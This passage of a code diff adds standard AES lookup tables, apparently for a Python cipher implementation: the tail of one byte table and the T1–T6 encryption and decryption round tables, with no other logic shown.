0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ]
+
+ # Transformations for encryption
+ T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ]
+ T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ]
+ T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ]
+ T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ]
+
+ # Transformations for decryption
+ T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ]
+ T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ]
